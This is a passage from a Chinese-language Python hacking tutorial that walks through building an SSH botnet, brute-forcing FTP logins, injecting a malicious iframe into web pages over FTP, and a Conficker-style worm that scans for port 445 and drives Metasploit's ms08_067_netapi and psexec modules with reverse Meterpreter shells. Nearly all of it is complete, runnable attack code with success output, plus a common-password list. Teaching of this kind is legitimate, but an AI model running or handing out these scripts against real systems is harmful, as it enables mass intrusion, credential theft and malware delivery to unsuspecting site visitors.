attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024
[-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764
[-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361
<..SNIPPED..>
[-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448
[-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168
[+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516
[*] Exiting: Key Found.
```
## 構建SSH 的僵尸網絡
現在我們已經可以通過SSH 控制一個主機,讓我們擴大它同時控制多臺主機。攻擊者經常利用一系列的被攻擊的主機來進行惡意的行動。我們稱這是僵尸網絡,因為這些脆弱的電腦的行為像僵尸一樣執行命令。為了構建我們的僵尸網絡,我們將引入一個新的概念---`class`。`class` 的概念作為面向對象編程的基礎命名。在這個系統中,我們實例化與方法相關聯的對象。為了我們的僵尸網絡,每個僵尸或者客戶機都要求有連接和發送命令的能力。
```
# coding=UTF-8
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
```
檢查代碼生成的類對象`Clinet()`。為了建立客戶機,我們需要主機名,用戶名,密碼或者密鑰。此外,類包含的方法要能支持一個客戶端---`connect()`,`sned_command()`, `alive()`。注意,當我們引入一個變量時,它屬于類,我們通過`self` 來引用這個變量。為了構建僵尸網絡,我們建立了一個全局的數組名字為`botnet`,這個數組包含了所有的連接對象。接下來,我們建立一個方法,名字為`addClient()`接受主機名,用戶名和密碼為參數,實例化一個連接對象然后將它添加到`botnet` 數組中。下一步,`botnetCommand()`方法接受命令參數,這個方法遍歷數組的每一個連接,給每一個連接的客戶機發送命令。
## 自愿的僵尸網絡
黑客組織Anonymous,通常采用自愿的僵尸網絡來攻擊他們的敵人。為了攻擊的最大限度,這個還可組織要求他們的成員下載一個名為LOIC 的工具。作為一個集體,這個黑客組織的成員發動一個分布式的僵尸網絡攻擊來攻擊他們的目標。雖然是非法的,Anonymous 組織的的行為已經取得了一些引人注意的和到得上的勝利成果。在最近的一個操作中,通過操作黑暗網絡,Anonymous 利用自愿的僵尸網絡淹沒了致力于傳播兒童情色資源的網絡主機。
```
# coding=UTF-8
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + output + '\n')
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
```
通過包裝前面的內容,我們得到了我們最后的僵尸網絡的腳本。這提供了一個極好的控制大量主機的方法。為了測試,我們生成了3 臺Backtrack5 的虛擬主機作為目標。我們可以看到我們的腳本遍歷三臺主機并發送命令給每個受害者。SSH 僵尸網絡的生成腳本是直接攻擊服務器。下一節我們集中在間接攻擊向量位目標,通過脆弱的服務器和另一種方法建立一個集體感染。
## 通過FTP連接WEB來滲透
在最近的一次巨大的損害中,被稱為k985ytv的攻擊者,使用匿名和盜用的FTP憑證,獲得了22400個域名和536000被感染的頁面。利用授權訪問,攻擊者注入Javascript代碼,使好的首頁重定向到烏克蘭境內的惡意頁面。一旦受感染的服務器被重定向到惡意的網站,惡意的主機將會在受害者電腦中安裝假冒的防病毒軟件,并竊取受害者的信用卡信息。K985ytv的攻擊取得了巨大的成功。在下面的章節中,我們將用Python來建立這種攻擊。
檢查受感染服務器的FTP日志,我們看看到底發什么什么事。一個自動的腳本連接到目標主機以確認它是否包含一個名為`index.htm`的默認主頁。接下來攻擊者上傳了一個新的`index.htm`頁面,可能包含惡意的重定向腳本。受感染的服務器滲透利用任何訪問它頁面的脆弱客戶機。
```
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /
folderthis/folderthat/" 226 1862
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE
index.htm" 213 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR
index.htm" 226 2573
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I"
200 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV"
227 -
204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR
index.htm" 226 3018
```
為了更好的理解這種攻擊的初始向量。我們簡單的來談一談FTP的特點。文件傳輸協議FTP服務用戶在一個基于TCP網絡的主機之間傳輸文件。通常情況下,用戶通過用戶名和密碼來驗證FTP服務。然而,一些網站提供匿名認證的能力,在這種情況下,用戶提供用戶名為`"anonymous"`,用電子郵件來代替密碼。
## 用Python構建匿名的FTP掃瞄器
就安全而言,網站提供匿名的FTP服務器訪問功能似乎很愚蠢。然而,令人驚訝的是許多網站提供這類FTP的訪問如升級軟件,這使得更多的軟件獲取軟件的合法更新。我們可以利用Python的`ftplib`模塊來構建一個小腳本,用來確認服務器是否允許匿名登錄。函數`anonLogin()`接受一個主機名反匯編一個布爾值來確認主機是否允許匿名登錄。為了確認這個布爾值,這個函數嘗試用匿名認證生成一個FTP連接,如果成功,則返回`True`,產生異常則返回`False`。
```
# coding=UTF-8
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')
return False
host = '192.168.95.179'
anonLogin(host)
```
運行這個腳本,我們可以看到脆弱的目標可以匿名登陸。
```
attacker# python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Succeeded.
```
## 利用Ftplib暴力破解FTP用戶認證
當匿名登錄一路回車進入系統,攻擊者也十分成功的利用偷來的證書獲得合法FTP服務器的訪問權限。FTP客戶端程序,比如說FileZilla,經常將密碼存儲在配置文件中。安全專家發現,由于最近的惡意軟件,FTP證書經常被偷取。此外,HD Moore甚至將`get_filezilla_creds.rb`的腳本包含到最近的Metasploit的發行版本中允許用戶快速的掃描目標主機的FTP證書。想象一個我們想通過暴力破解的包含`username/password`組合的文本文件。對于這個腳本的目的,利用存貯在文本文件中的`username/password`組合。
```
administrator:password
admin:12345
root:secret
guest:guest
root:toor
```
現在我們能擴展前面建立的`anonLogin()`函數建立名為`brutelogin()`的函數。這個函數接受主機名和密碼文件作為輸入返回允許訪問主機的證書。注意,函數迭代文件的每一行,用冒號分割用戶名和密碼,然后這個函數用用戶名和密碼嘗試登陸FTP服務器。如果成功,將返回用戶名和密碼的元組,如果失敗有異常,將繼續測試下一行。如果遍歷完所有的用戶名和密碼都沒有成功,則返回包含`None`的元組。
```
# coding=UTF-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print("[+] Trying: " + userName + "/" + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + "/" + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
```
遍歷用戶名和密碼組合,我們終于找到了用戶名以及對應的密碼。
```
attacker# python bruteLogin.py
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
```
## 在FTP服務器上尋找WEB頁面
有了FTP訪問權限,我們還要測試服務器是否還提供了WEB訪問。為了測試這個,我們首先要列出FTP的服務目錄并尋找默認的WEB頁面。函數`returnDefault()`接受一個FTP連接作為輸入并返回一個找到的默認頁面的數組。它通過發送命令NLST列出目錄內容。這個函數檢查每個文件返回默認WEB頁面文件名并將任何發現的默認WEB頁面文件名添加到名為`retList`的列表中。完成迭代這些文件之后,函數將返回這個列表。
```
# coding=UTF-8
import ftplib
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
```
看著這個脆弱的FTP服務器,我們可以看到它有三個WEB頁面在基目錄下。好極了,我們知道可以移動我們的攻擊向量到我們的被感染的頁面。
```
attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php
[+] Found default page: testmysql.php
```
## 添加惡意注入腳本到WEB頁面
現在我們已經找到了WEB頁面文件,我們必須用一個惡意的重定向感染它。為了快速的生成一個惡意的服務器和頁面在 http://10.10.10.112:8080/exploit 頁面,我們將使用Metasploit框架。注意,我們選擇`ms10_002_aurora`的Exploit,同樣的Exploit被用在攻擊Google的極光行動中。位與 http://10.10.10.112:8080/exploit 的頁面將重定向到受害者,這將返回給我們一個反彈的Shell。
```
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
```
任何脆弱的客戶機連接到我們的服務頁面 http://10.10.10.112:8080/exploit 都將會落入我們的陷阱中。如果成功,它將建立一個反向的TCP Shell并允許我們遠程的在客戶機上執行Windows命令。從這個命令行Shell我們能在受感染的受害者主機上以管理員權限執行命令。
```
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
```
接下來,我們必須添加一個重定向從被感染的主機到我們的惡意的服務器。為此,我們可以從攻陷的服務器下載默認的WEB頁面,注入一個`iframe`,然后上傳惡意的頁面到服務器上。看看這個`injectPage()`函數,它接受一個FTP連接,一個頁面名和一個重定向的`iframe`的字符串作為輸入,然后下載頁面作為臨時副本,接下來,添加重定向的`iframe`代碼到臨時文件中。最后,該函數上傳這個被感染的頁面到服務器中。
```
# coding=UTF-8
import ftplib
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print '[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
print '[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src="http://10.10.10.112:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)
```
運行我們的代碼,我們可以看到它下載`index.html`頁面然后注入我們的惡意代碼到里面。
```
attacker# python injectPage.py
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
```
## 將攻擊整合在一起
現在我們就整合所有的攻擊到`attack()`函數中。`attack()`函數接收一個主機名,用戶名,密碼和定位地址為輸入。這個函數首先利用用戶憑證登陸FTP服務器,接下來我們尋找默認頁面,下載每一個頁面并且添加惡意的重定向代碼,然后上傳修改后的頁面到FTP服務器中。
```
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
```
添加一些選項參數,我們包裝整合我們的腳本。你將注意到我們首先嘗試匿名登錄FTP服務器,如果失敗,我們將通過暴力破解得到服務器的認證。雖然只有近百行代碼,但這個攻擊完全可以復制k985ytv的原始的攻擊向量。
```
# coding=UTF-8
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.')
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + userName + '/' + passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: '+userName+'/'+passWord)
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
def returnDefault(ftp):
try:
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page: ' + fileName)
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
print('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print('[+] Injected Malicious IFrame on: ' + page)
ftp.storlines('STOR ' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page: ' + page)
def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog -H <target host[s]> -r <redirect page> [-f <userpass file>]')
parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(', ')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] Using Anonymous Creds to attack'
attack(username, password, tgtHost, redirect)
elif passwdFile != None:
(username, password) = bruteLogin(tgtHost, passwdFile)
if password != None:
print'[+] Using Creds: ' + username + '/' + password + ' to attack'
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
```
運行我們的腳本攻擊一個脆弱的FTP服務器,我們看到它嘗試匿名登陸失敗,然后暴力破解獲得用戶名和密碼,然后下載和注入代碼到每一個基目錄里的文件。
```
attacker# python massCompromise.py -H 192.168.95.179 -r '<iframe src=" http://10.10.10.112:8080/exploit"></iframe>' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Injected Malicious IFrame on: testmysql.php
```
我們確保我們的攻擊向量在運行,然后等待客戶機連接到我們受感染的WEB服務器上。很快,`10.10.10.107`訪問了服務器然后重定向到了我們的惡意服務器上。成功!我們通過被感染的FTP服務器得到了一個受害者主機的命令行Shell。
```
attacker# msfcli exploit/windows/browser/ms10_002_aurora LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 -> 10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
```
雖然很多罪犯傳播假的反病毒軟件利用了k985ytv攻擊作為許多的攻擊向量之一。km985ytv成功的攻陷了11000臺主機中的2220臺。總的來說,假冒的殺毒軟件盜取了超過43000000的用戶的信用卡信息在2009年,并還在持續增長中。這一百多行的代碼還不錯。在下一節中,我們將創建一個攻擊了200多個國家5百萬臺主機的攻擊向量。
## Conficker蠕蟲,為什么努力總是好的
2008年下旬,計算機安全專家被一個有趣的改變游戲規則的蠕蟲叫醒。Conficker和W32DownandUp蠕蟲如此迅速的蔓延,很快就感染了200多個國家的5百多萬臺主機。在一些先進(數字簽名,有效的加密荷載,另類的傳播方案)的輔助攻擊中,Conficker蠕蟲非常用心,和1988年的Morris蠕蟲有著相似的攻擊向量。在接下來的章節中,我們將重現Conficker蠕蟲的主要攻擊向量。
在常規的感染的基礎上,Conficker利用了兩個單獨的攻擊向量。首先,利用Windows Server系統的一個0day漏洞。利用這個漏洞,蠕蟲能夠引起堆棧溢出從而能夠執行Shellcode并下載一個副本給受到感染的主機。當這種攻擊方法失敗時,Conficker蠕蟲嘗試通過暴力破解默認的網絡管理共享(`ADMIN$`)來獲取受害人主機的管理權限。
## 密碼攻擊
在它的攻擊中,Conficker蠕蟲利用了一個超過250個常用密碼的密碼列表。Morris蠕蟲曾使用的密碼列表有432個密碼。這兩個非常成功的攻擊有11個共同的密碼。建立你自己的攻擊列表時,是絕對值得包含這11個密碼的。
```
aaa
academia
anything
coffee
computer
cookie
oracle
password
secret
super
Unknown
```
在幾次大規模的攻擊波中,黑客們發布了很多密碼在網絡上。而導致這些密碼嘗試的活動無疑是違法的。這些密碼已經被安全專家研究證明是很有趣的。DARPA計算機網絡快速追蹤項目管理人, Peiter Zatko讓整個房間的軍隊高層臉紅,當他問到他們是否用兩個大寫字母,再加上兩個特殊符號和兩個數字組合來構建他們的密碼時。此外,黑客組織LulzSec在2011年6月公布了26000個使用的密碼和個人信息。在一次有組織的攻擊中,這些密碼被用來重復攻擊同一個人的社交網站。然而,規模最大的攻擊是一個新聞和八卦的博客網站泄漏了一百萬的用戶名和密碼。
## 用Metasploit攻擊Windows SMB服務
為了簡化我們的攻擊,我們將使用Metasploit框架,可以從下面的網站下載: http://metasploit.com/download/ 。Metasploit是開源的計算機安全項目,在過去的幾年里正在得到快速的發展和普及并已經成為很受歡迎的滲透工具包。由傳奇人物HD Moore倡導并開發的。Metasploit允許滲透測試人員利用標準化的腳本環境發起數千種不同的滲透測試。發行版包含了Conficker蠕蟲利用的漏洞,HD Moore整合了這個滲透測試在Metasploit中---`ms08-067_netapi`。
利用Metasploit我們可以在攻擊時進行交互,它也有能力讀取批處理資源文件。Metasploit按順序處理,以便執行批處理文件中的命令進行攻擊。例如,如果我們想攻擊的目標主機為`192.168.13.37`,利用`ms80-067_netapi`滲透測試,并返回給`192.168.77.77`主機上的7777端口的一個TCP Shell。
```
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77
set LPORT 7777
exploit –j –z
```
為了利用Metasploit的攻擊,我們選擇我們的Exploit(`exploit/windows/smb/ms08_067_netapi`),然后設置目標為`192.168.1.37`。接下來我們指定攻擊荷載為`windows/meterpreter/reverse_tcp`選擇反向連接到我們的`192.168.77.77`的7777端口上,最后我們告訴Metasploit開始攻擊系統。保存配置文件為`conficker.rc`,我們可以通過命令`msfconsole -r conficker.rc`來啟動我們的攻擊。這個命令會告訴Metasploit根據`conficker.rc`來啟動攻擊。如果成功,我們的攻擊會返回一個命令行Shell來控制對方電腦。
```
attacker$ msfconsole -r conficker.rc
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.77.77:7777
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.77.77:7777 -> 192.168.1.37:1087) at Fri Nov 11 15:35:05 -0700 2011
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > execute -i -f cmd.exe
Process 2024 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
```
## 用Python和Metasploit交互
太棒了!我們建立了一個配置文件,滲透了一個主機并獲得了一個shell。重復這個過程對254個主機會花費大量的時間來修改配置文件,但是如果利用Python,我們可以生成一個快速的掃描腳本,掃描445端口打開的主機,然后利用Metasploit資源文件攻擊有漏洞的主機。
首先,讓我們從先前的端口掃描的例子中利用`python-nmap`模塊。這里,函數`findTgts()`以潛在目標主機作為輸入,返回所有開了TCP 445端口的主機。TCP 445端口是SMB協議的主要端口。只要主機的TCP 445端口是開放的,我們的腳本就能有效的攻擊,這會消除主機對我們嘗試連接的阻礙。函數通過迭代掃描所有的主機,如果函數發現主機開放了445端口,就將主機加入列表中。完成迭代后,函數會返回包含所有開放445端口主機的列表。
```
import nmap
def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445')
tgtHosts = []
for host in nmScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
```
接下來,我們將對我們攻擊的目標設置監聽,監聽器或者命令行與控制信道,一旦他們滲透成功我們就可以與遠程目標主機進行交互。Metasploit提供了先進的動態的攻擊荷載Meterpreter。Metasploit的Meterpreter運行在遠程主機上,返回給我們命令行用來控制主機,提供了大量的控制和分析目標主機的能力。Meterpreter擴展了命令行的能力,包括數字取證,發送命令,遠程路由,安裝鍵盤記錄器,下載密碼或者Hash密碼等等功能。
當Meterpreter反向連接到攻擊者主機,并控制主機的Metasploit的模塊叫做`multi/handler`。為了在我們的主機上設置`multi/handler`的監聽器,我們首先要寫下指令到Metasploit的資源配置文件中。注意,我們如何設置一個有效的TCP反彈連接的攻擊荷載并標明我們本地主機將要接受連接的地址和端口號。此外,我們將設置一個全局配置`DisablePayloadHandler`來標識以后我們所有的主機都不必設置監聽器,因為我們已經正在監聽了。
```
def setupHandler(configFile, lhost, lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')
```
最后,腳本已經準備好了攻擊目標主機。這個函數將接收一個Metasploit配置文件,一個目標主機,一個本地地址和端口作為輸入進行滲透測試。這個函數寫入特定的exploit到配置文件中。它首先選擇特殊的`exploit---ms08-067_netapi`,曾經被Conficker蠕蟲利用的exploit攻擊目標。此外,它還要選擇Meterpreter攻擊荷載需要的本地地址和本地端口。最后,它發送一個指令開始攻擊目標主機,在后臺執行工作(`-j`),但并不馬上打開交互(`-z`),該腳本需要一些特定的選項,因為它將攻擊多個主機,無法與所以的主機進行交互。
```
def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
```
## 遠程執行暴力破解
當攻擊者成功的啟動`ms08-067_netapi`的exploit攻擊全世界的受害者的時候,管理員安裝最新的安全補丁能輕松的組織攻擊。因此,腳本將使用Conficker蠕蟲使用的第二個攻擊向量。它將通過用戶名和密碼的組合暴力破解SMB服務獲得對主機的遠程遠程執行程序的權限。
函數smbBrute接受Metasploit配置文件,目標主機,一系列密碼的文件,本地地址和本地端口作為輸入,然后進行監聽。它設置用戶名為默認的Windows管理員administrator然后打開密碼文件。對于文件的每一個密碼,函數將建立一個Metasploit資源配置文件為了使用遠程執行程序的exploit。如果一個用戶名和密碼組合成功了,exploit將會啟動Meterpreter攻擊荷載反向連接到本地的地址和端口。
```
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
username = 'Administrator'
pF = open(passwdFile, 'r')
for password in pF.readlines():
password = password.strip('\n').strip('\r')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser ' + str(username) + '\n')
configFile.write('set SMBPass ' + str(password) + '\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
```
## 將所有的放在一起建立我們自己的Conficker蠕蟲
嘗試把所有的功能放在一起,我們的腳本現在已經具備掃描目標,利用`ms08-067_netapi`漏洞,暴力破解SMB用戶名密碼并遠程執行程序的能力了。最后,我們增加一些選項給腳本的`main()`函數把以前寫的函數整合包裝在一起調用。完整的代碼如下。
```
# coding=UTF-8
import os
import optparse
import sys
import nmap
def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445')
tgtHosts = []
for host in nmScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
def setupHandler(configFile, lhost, lport):
configFile.write('use exploit/multi/handler\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost, lhost, lport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
username = 'Administrator'
pF = open(passwdFile, 'r')
for password in pF.readlines():
password = password.strip('\n').strip('\r')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser ' + str(username) + '\n')
configFile.write('set SMBPass ' + str(password) + '\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
def main():
configFile = open('meta.rc', 'w')
parser = optparse.OptionParser('[-] Usage%prog -H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address[es]')
parser.add_option('-p', dest='lport', type='string', help='specify the listen port')
parser.add_option('-l', dest='lhost', type='string', help='specify the listen address')
parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')
(options, args) = parser.parse_args()
if (options.tgtHost == None) | (options.lhost == None):
print parser.usage
exit(0)
lhost = options.lhost
lport = options.lport
if lport == None:
lport = '1337'
passwdFile = options.passwdFile
tgtHosts = findTgts(options.tgtHost)
setupHandler(configFile, lhost, lport)
for tgtHost in tgtHosts:
confickerExploit(configFile, tgtHost, lhost, lport)
if passwdFile != None:
smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
configFile.close()
os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
main()
```
